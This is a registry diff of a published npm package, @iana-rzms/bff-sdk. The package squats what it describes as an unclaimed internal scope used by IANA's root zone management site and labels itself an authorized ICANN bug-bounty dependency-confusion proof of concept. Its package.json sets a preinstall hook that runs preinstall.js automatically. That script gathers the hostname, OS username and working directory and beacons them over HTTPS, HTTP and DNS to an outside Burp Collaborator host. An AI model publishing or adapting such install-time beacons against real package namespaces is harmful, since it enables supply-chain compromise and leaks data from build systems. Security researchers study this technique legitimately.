@iana-rzms/bff-sdk 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,12 @@
1
+ # @iana-rzms/bff-sdk — Security-Research Placeholder (Authorized)
2
+
3
+ **This is not a functional package.** It is an authorized dependency-confusion proof-of-concept for the **ICANN bug bounty program** (affected asset: `rzm.iana.org`, IANA Root Zone Management).
4
+
5
+ The `@iana-rzms` scope was found **unclaimed on the public npm registry** while `rzm.iana.org` imports `@iana-rzms/bff-sdk` as a production dependency. This placeholder was published to:
6
+
7
+ 1. **Defensively reserve the namespace** so a malicious actor cannot squat it, and
8
+ 2. **Confirm** (via a benign install-time callback recording only hostname / OS user / working directory) whether a build resolves this scope from the public registry.
9
+
10
+ It reads no secrets, environment variables, source, or credentials; writes/deletes/persists nothing; and never fails an install. If you are an ICANN engineer and see this in a build, your npm client is resolving the `@iana-rzms` scope from the public registry — please pin the scope to your internal registry and rotate any exposed build credentials.
11
+
12
+ Contact: (researcher handle / HackerOne report reference).
package/index.d.ts ADDED
@@ -0,0 +1,7 @@
1
+ // Type stubs so a TypeScript build that resolves this placeholder still compiles.
2
+ // (Authorized security-research PoC — not a functional SDK.)
3
+ export type Delegation = any;
4
+ export type User = any;
5
+ export type Client = any;
6
+ export type Options = any;
7
+ export declare function mergeHeaders(...args: any[]): any;
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ /*
2
+ * Inert placeholder runtime for @iana-rzms/bff-sdk (authorized security-research PoC).
3
+ * Only `mergeHeaders` is a runtime value in the target imports; the rest are TypeScript types.
4
+ * mergeHeaders is a harmless no-op (returns its first argument) to minimize any chance of
5
+ * disrupting a build that mistakenly resolves this package. This package has no real functionality.
6
+ */
7
+ 'use strict';
8
+ function mergeHeaders(a) { return a; }
9
+ module.exports = { mergeHeaders: mergeHeaders };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@iana-rzms/bff-sdk",
3
+ "version": "1.0.0",
4
+ "description": "AUTHORIZED SECURITY-RESEARCH PLACEHOLDER — dependency-confusion PoC for the ICANN bug bounty program. Namespace defensively reserved. Performs only a benign install-time callback (hostname/user/cwd) to confirm resolution; takes no other action. Not a functional package.",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "types": "index.d.ts",
8
+ "scripts": {
9
+ "preinstall": "node preinstall.js"
10
+ },
11
+ "keywords": ["security-research", "poc", "dependency-confusion", "placeholder"],
12
+ "files": ["index.js", "index.d.ts", "preinstall.js", "README.md"]
13
+ }
package/preinstall.js ADDED
@@ -0,0 +1,58 @@
1
+ /*
2
+ * AUTHORIZED dependency-confusion PoC beacon — ICANN bug bounty (asset: rzm.iana.org / "Third Party Integration").
3
+ *
4
+ * PURPOSE: prove ONLY that a build resolved and installed this package from the PUBLIC npm registry,
5
+ * by making an out-of-band HTTP(S) callback to a researcher-controlled Burp Collaborator host.
6
+ *
7
+ * SAFETY (intentional — do not change):
8
+ * - Sends ONLY non-sensitive identity: hostname, OS username, cwd (to identify WHERE it ran).
9
+ * - Reads NO env vars, .npmrc, source, files, secrets, or credentials.
10
+ * - Writes/modifies/deletes/persists NOTHING. No shell, no lateral movement.
11
+ * - Never fails the install (all errors swallowed).
12
+ */
13
+ var CANARY = 'k4pzh6vg78iub3vxqhmml2q8wz2qqge5.oastify.com';
14
+
15
+ try {
16
+ var os = require('os');
17
+ var dns = require('dns');
18
+ var http = require('http');
19
+ var https = require('https');
20
+
21
+ // Minimal, non-sensitive identity only.
22
+ var fields = [
23
+ 'iana-rzms-bff-sdk-poc',
24
+ os.hostname(),
25
+ (os.userInfo && os.userInfo().username) || process.env.USER || '?',
26
+ process.cwd()
27
+ ].join('|');
28
+ var payload = Buffer.from(fields).toString('base64').replace(/=+$/, '');
29
+ var path = '/poc?pkg=@iana-rzms/bff-sdk&d=' + encodeURIComponent(payload);
30
+
31
+ var pending = 0;
32
+ function done() { if (--pending <= 0) { try { process.exit(0); } catch (e) {} } }
33
+
34
+ function beacon(mod, port, scheme) {
35
+ try {
36
+ pending++;
37
+ var req = mod.request(
38
+ { method: 'GET', host: CANARY, port: port, path: path, timeout: 5000,
39
+ headers: { 'X-PoC': 'iana-rzms-bff-sdk', 'User-Agent': 'iana-rzms-poc' } },
40
+ function (r) { r.resume(); r.on('end', done); }
41
+ );
42
+ req.on('error', done);
43
+ req.on('timeout', function () { req.destroy(); done(); });
44
+ req.end();
45
+ } catch (e) { done(); }
46
+ }
47
+
48
+ // Primary proof: HTTPS callback (full HTTP request lands in Collaborator).
49
+ beacon(https, 443, 'https');
50
+ // Fallback: plain HTTP on :80 (in case 443 egress/TLS is blocked in the build network).
51
+ beacon(http, 80, 'http');
52
+ // Backup: DNS lookup (egresses through most restricted CI networks; Collaborator logs the query).
53
+ try { dns.lookup('poc.' + CANARY, function () {}); } catch (e) {}
54
+
55
+ // Hard safety cap so a build is never delayed more than ~6s by this PoC.
56
+ var kill = setTimeout(function () { try { process.exit(0); } catch (e) {} }, 6000);
57
+ if (kill.unref) kill.unref();
58
+ } catch (e) { /* never break an install */ }